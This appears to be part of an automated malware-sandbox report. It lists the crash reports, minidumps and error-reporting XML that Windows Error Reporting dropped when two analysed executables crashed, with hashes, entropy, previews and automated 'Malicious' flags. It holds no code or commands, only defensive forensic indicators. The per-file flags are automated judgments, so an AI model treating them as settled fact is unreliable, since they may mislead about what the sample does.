C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_624f4d727e.exe_cad736d7a7cf8c04f5e973b8cf9ea4a3ed5b1dc_a03a600a_bc1fa693-5f75-4c93-b8a1-f4d49f94dab6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9634560621383768
Encrypted:	false
SSDEEP:	192:48tcqAk+0yfTRjldZrP2azuiFIZ24IO8yG:TuqAklyfTRj19zuiFIY4IO8y
MD5:	264F44CD287C6C44881AE84EE9B7047B
SHA1:	4534EFD1741AF579E96B8E73EF892787A2F000B7
SHA-256:	A158D795C3455B5B41E0A6E87DAED61A0F1C3B370FC9053AA4099AB12E89617F
SHA-512:	B83747310AB7C1855A5A7C6F0ABC472D720DDE723800AE5945EAC813AF3D6869713891456A3B059573C809996F0351F13ECB45DC0D022D334F60926661651CD7
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.3.8.7.9.8.3.0.7.0.4.3.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.3.8.7.9.8.6.8.2.0.4.8.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.1.f.a.6.9.3.-.5.f.7.5.-.4.c.9.3.-.b.8.a.1.-.f.4.d.4.9.f.9.4.d.a.b.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.2.a.5.d.f.b.7.-.d.4.b.a.-.4.7.2.9.-.9.7.3.9.-.e.f.c.c.3.e.3.7.a.d.c.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.6.2.4.f.4.d.7.2.7.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.1.8.-.0.0.0.1.-.0.0.1.4.-.1.b.8.2.-.0.f.5.0.f.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.3.8.b.e.1.6.2.4.6.0.e.4.7.b.3.d.7.c.2.6.f.7.7.c.d.4.1.6.7.2.5.0.0.0.0.f.f.f.f.!.0.0.0.0.4.3.e.5.e.1.2.6.6.1.2.8.f.0.1.d.0.7.4.d.3.a.b.a.2.0.4.6.5.a.b.1.9.d.2.6.0.5.0.b.!.6.2.4.f.4.d.7.2.7.e...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_624f4d727e.exe_cad736d7a7cf8c04f5e973b8cf9ea4a3ed5b1dc_a03a600a_ceb39eb5-eb64-4ae7-b638-d370555f3b2e\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9633814224087329
Encrypted:	false
SSDEEP:	192:CNItcpKAk+0yfTRjldZrP2azuiFIZ24IO8yG:bu0AklyfTRj19zuiFIY4IO8y
MD5:	DEFB2EA53F8EA1187494D7F8E69F58A6
SHA1:	7BF2EA551E97C22F577C22D814B618F4F94B67ED
SHA-256:	D480D5EFB65E2BB4CE544F7A0B376FD4959767DDDA908FB046A075BBFCEA6706
SHA-512:	C5C122951F8CAE8FCF679CBFD6363CB26E64D7637D118FC41C406F3DA7523C4FAA683AD04F5411BDF082DF71CE5893CA6E8BE70C8734E34CF8E0BAF424D425D8
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.3.8.7.8.2.2.6.7.7.2.1.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.3.8.7.8.2.7.0.5.2.2.9.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.e.b.3.9.e.b.5.-.e.b.6.4.-.4.a.e.7.-.b.6.3.8.-.d.3.7.0.5.5.5.f.3.b.2.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.0.3.b.b.1.2.f.-.6.d.2.d.-.4.3.c.e.-.b.4.f.3.-.a.d.1.7.f.4.5.7.0.b.1.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.6.2.4.f.4.d.7.2.7.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.8.-.0.0.0.1.-.0.0.1.4.-.d.d.5.c.-.6.6.4.6.f.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.3.8.b.e.1.6.2.4.6.0.e.4.7.b.3.d.7.c.2.6.f.7.7.c.d.4.1.6.7.2.5.0.0.0.0.f.f.f.f.!.0.0.0.0.4.3.e.5.e.1.2.6.6.1.2.8.f.0.1.d.0.7.4.d.3.a.b.a.2.0.4.6.5.a.b.1.9.d.2.6.0.5.0.b.!.6.2.4.f.4.d.7.2.7.e...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_624f4d727e.exe_cad736d7a7cf8c04f5e973b8cf9ea4a3ed5b1dc_a03a600a_db95536d-1e91-44d8-b9b1-258778918527\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.97011848265683
Encrypted:	false
SSDEEP:	192:Ezetc+Ak+0yfTRjEhZrMZ1zuiFjZ24IO8yG:Eyu+AklyfTRjb7zuiFjY4IO8y
MD5:	78AE7A955BC6B7F68811FFC51B1FB8DC
SHA1:	57C01AAE010C472934058AE7C9886822B438D47D
SHA-256:	EDC0669CE73090CFBD487963204A321DB094C9102AC48F753A89105B8880BC66
SHA-512:	F435DF77AD621815089FF991CF15C69107FE7CC5623392169C237E7C497DEA530EB4A9BE186C0AC1F89893DD786B77AB0F7526D65D2C29E1F1EBEFB3E190864C
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.3.8.7.6.8.0.3.4.8.6.2.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.3.8.7.6.8.3.4.7.3.6.0.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.b.9.5.5.3.6.d.-.1.e.9.1.-.4.4.d.8.-.b.9.b.1.-.2.5.8.7.7.8.9.1.8.5.2.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.1.d.c.1.3.e.c.-.3.e.7.d.-.4.1.3.e.-.b.8.0.b.-.1.8.0.3.b.c.b.5.5.4.3.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.6.2.4.f.4.d.7.2.7.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.5.0.-.0.0.0.1.-.0.0.1.4.-.6.f.3.a.-.f.8.3.d.f.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.3.8.b.e.1.6.2.4.6.0.e.4.7.b.3.d.7.c.2.6.f.7.7.c.d.4.1.6.7.2.5.0.0.0.0.f.f.f.f.!.0.0.0.0.4.3.e.5.e.1.2.6.6.1.2.8.f.0.1.d.0.7.4.d.3.a.b.a.2.0.4.6.5.a.b.1.9.d.2.6.0.5.0.b.!.6.2.4.f.4.d.7.2.7.e...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_4e41abbb74886152b6742da3591b45a7624070_864df792_aad6efb5-37c6-4a06-bdb1-fc70e8f605f5\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1155332488756164
Encrypted:	false
SSDEEP:	192:sWXK+4hvGPlTt+0zQ/l8SlfE3jEhZrMZ2VU5zuiFjZ24IO8ThB:fAGN5lzQ/l8Sl0jb0IzuiFjY4IO8r
MD5:	A6C65D16DCB431AF0F56382C96AFAC10
SHA1:	DD35D2360E9A1B25461D4AFA22A7F75A7BE2447C
SHA-256:	AB00E4284B287AD1D8291ED0663B37462C1648FD601001020A70CDCA4EFFF8D6
SHA-512:	8BFA2E659C40BD4E8BB19BB85EF8E455F100EB1E6F29A8D1C3FD5F3723C915327173BBBA7F90E383E99132043A1058C458415A5F46278FB7DBCED27AAE54FAFB
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.3.8.7.1.5.8.3.3.3.8.0.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.3.8.7.1.6.7.5.5.2.5.6.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.a.d.6.e.f.b.5.-.3.7.c.6.-.4.a.0.6.-.b.d.b.1.-.f.c.7.0.e.8.f.6.0.5.f.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.6.3.2.4.d.6.0.-.e.2.b.5.-.4.7.c.1.-.9.9.9.5.-.4.0.7.c.3.7.3.4.d.4.9.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.c.c.-.0.0.0.1.-.0.0.1.4.-.3.d.0.f.-.2.9.1.3.f.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.4.3.e.5.e.1.2.6.6.1.2.8.f.0.1.d.0.7.4.d.3.a.b.a.2.0.4.6.5.a.b.1.9.d.2.6.0.5.0.b.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.7.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER256E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 07:25:16 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	60310
Entropy (8bit):	2.646947296813536
Encrypted:	false
SSDEEP:	384:DFm0ZhSgREnkEFSW9CfXm7vuEvxxmgFdk:DE0eO4kEY6CfXKGYFF
MD5:	4AF914CA461FB96CC0FC9F1153AE9279
SHA1:	19A1AA28A2030EEBD41DF654E5F69303A6ACEA99
SHA-256:	41540C6E55B49333B66FCD43312C2A9A87B41A77C7CF379CD9E8DA71830B3AC1
SHA-512:	09502C23FF7F0C48D055C60DC15BF385EAD69A6E33BCA0DD18BFAC5711C33DB96BCAA2BB826C7F368E61EE93031130852F7499960ECB5233D88C16874A4C6797
Malicious:	false
Preview:	MDMP..a..... .........f............4...............<............7..........T.......8...........T............_...............&...........(..............................................................................eJ......h)......GenuineIntel............T.............f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER27E0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8312
Entropy (8bit):	3.692757010425641
Encrypted:	false
SSDEEP:	192:R6l7wVeJdCu6AU6YEIwSU9245xFgmfB1SQ/lSrpDB89bzFsf0hUxm:R6lXJh6r6YEPSU9245xFgmf+Q/lSgzeo
MD5:	4D8A2ACDE15418B2CF476CE3B0F3A0DB
SHA1:	8E2A371D64DB70BADC0016DBC3180BE6B10221E0
SHA-256:	EA0B36A8D7538C91C589A022A6BC39175790F2C9693D62B2396B9662A3B4CD21
SHA-512:	B9B83C80CF326ACB9BE986DDD55ADB0828FE09E3176E87BC21480FAA1B7403C7FAFEFBC3EABE4C9642A87811F2FABDB64A54718E02F020E3BBF7B9E0257920A1
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.7.6.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2810.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.421540396471977
Encrypted:	false
SSDEEP:	48:cvIwWl8zs6Jg77aI9LC1rWpW8VYaYm8M4JWcyFck+q8jgupaEBP2d:uIjfII7kA7V2JF2icEBP2d
MD5:	A24DEE6ADB959DE7353E6B9530ED2874
SHA1:	AAB22C0D2FF4591AE4EF51835687BEBFBF2DCE39
SHA-256:	DA764A053B58B71ACEA397C941D600366B2CF2434B0A43386A3DB0893BA07878
SHA-512:	9CFA6055A5325FC82D16038E190A73ED983D70FD0DC121FED769DEFA578249B5799C2AFA49117EEB369E424310D541DFE3EDFDB8F72F4A7632BE4C5F2739104D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="429027" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2913.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 07:26:22 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	1.9205417075685496
Encrypted:	false
SSDEEP:	192:tcFXiwhQJcc7XEOwOJw/2sGW55YDoYDHelufY9UJEvz1jxMe4p3dg5z9AN+OSts8:6nhQuowEU2sGaafYXZ1NgdWzZOS7
MD5:	FCC3003D3F38C2D891912E71641286DE
SHA1:	C88B4C55B1C8512CAA4105CCB2EBE68527A5D011
SHA-256:	125BB50A77484FFCF5B34846560B43DBBDC2638D369E7C9175B199EFF0412ABD
SHA-512:	D2BFD121BABBF99526DD197E7E5FDA1391727D8D5ED1E3B1F69C7BC8A3A924B428013EFA33857DEC1486989499E663F27AA68EBB5A528083D00E5815A74EE8CE
Malicious:	false
Preview:	MDMP..a..... ..........f............4...............<...........0*..........T.......8...........T...........(3..P...........X...........D...............................................................................eJ..............GenuineIntel............T..............f............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29DF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8338
Entropy (8bit):	3.6971637440171174
Encrypted:	false
SSDEEP:	192:R6l7wVeJEi6I8g6YEI0SUaegmfuYpDP89b3psfpJdm:R6lXJx6I8g6YE7SUaegmfu13Cfg
MD5:	95B8D25DC52C674C6A3151A320BDBB6B
SHA1:	38878C501D31F49C362A10BB1368DAFB3FD97F08
SHA-256:	FAD4601339019D31E530FC9F9710D3039B1235B168428B460AA4E0756E085B41
SHA-512:	6D8D00E3646DB550DCAF113F0539E79BAD7C6D10FADD567A2A3DC55A7E01EDC7157BD1A844EE43D39D711CB741961DE6C65E1DF30B339A45EBDC8767FD392DBE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A0F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.444434074382959
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmNJg77aI9LC1rWpW8VY2Ym8M4Ja1yFRC+q8pg0ZIVBind:uIjfmnI7kA7VaJIroFoBind
MD5:	1ED79A764923CA01EA91AEAEF8A25E65
SHA1:	1B5DD383F39A614AE5CA24223673C794DCEF0B57
SHA-256:	40C01A3526EFDEDB1D41863414E67AC0A43F1FEAFC28237BB82D3928524A4DE1
SHA-512:	762B5A8D70001E5B785EB013E234CAAC21C63AC76E9D01151ED58CCF77628ADF2F11667F6F0B1BBB0512340D237CF1B818383A3C21070DAE3D19F1199B69BC5B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="429029" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER67B2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 07:26:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	1.9214012805223344
Encrypted:	false
SSDEEP:	192:dhFXiwhQ1cc7XGwQOwOJwGxWqfJYDoY/H/lgfEBglx3plT3WG+8wHhML5eeIeXbG:7nhQCPKwEpxWctfEU3/3WXJMteY
MD5:	B090EEA3BE2D4D96FCDDD654195E4404
SHA1:	829C6536D60EDE33A596F34320CF586998D45A10
SHA-256:	C12793326D3ECA4A82CD9B84323C0C4ED9DDB81552038022CBA921A6BFD80E0D
SHA-512:	F59812A726765C4056E660457E61F47FCF86AF290DA9676B0AF0478047C1CD4351D7BCBB7F32EB89832DE722BCD1E9E07EADDE4410EE322A854EBA150B2F4331
Malicious:	false
Preview:	MDMP..a..... ..........f............4...............<...........0*..........T.......8...........T...........(3..P...........X...........D...............................................................................eJ..............GenuineIntel............T...........+..f............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6850.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8338
Entropy (8bit):	3.696918510018026
Encrypted:	false
SSDEEP:	192:R6l7wVeJGL6IJJ6YEIASUOzgmfuYpDT89bMosfHkm:R6lXJK6IJJ6YEvSUOzgmfuhMbfx
MD5:	6BE9F7476F8FC1B72F61B967BE8536E5
SHA1:	51D3823390114C3C83D0B433BA9B3EA25C74AE57
SHA-256:	510193F9057F509684A6C1BF6959C0D79481F0CA4F93F07EB82B9F099D0A90E7
SHA-512:	3B0C72EB9F1CC35FEC79BBB832693577AAACFE96E73570ACF2AD5EF45F4363A6B2A87F2E4DA10EF15B84020C3F3785ED012778A2DABA93F98207CC83204FAEF7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.8.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6870.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.444606973171535
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmNJg77aI9LC1rWpW8VYKYm8M4Ja1yF4+q8pgGZIVBi2dd:uIjfmnI7kA7VaJIXo/oBi2dd
MD5:	465522A666F9DE5865E3931BB8D535C9
SHA1:	3306C7B30E781AED5B66C9E070196F3D5B3D879E
SHA-256:	1BCDF1E902BC88840AEB422BC301748C3753F7D524B64B2B89E30740262E750A
SHA-512:	8D7D5E035E9EA348A6FF86B4C58702A3635F22D3335C2B857403E4706C64BFDD6E7A4920D4400F8114AB06976744EAD68D7680CF75C3CF3B0ECDB17A8F5B7E6E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="429029" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF159.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 07:26:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63510
Entropy (8bit):	1.9295933446469915
Encrypted:	false
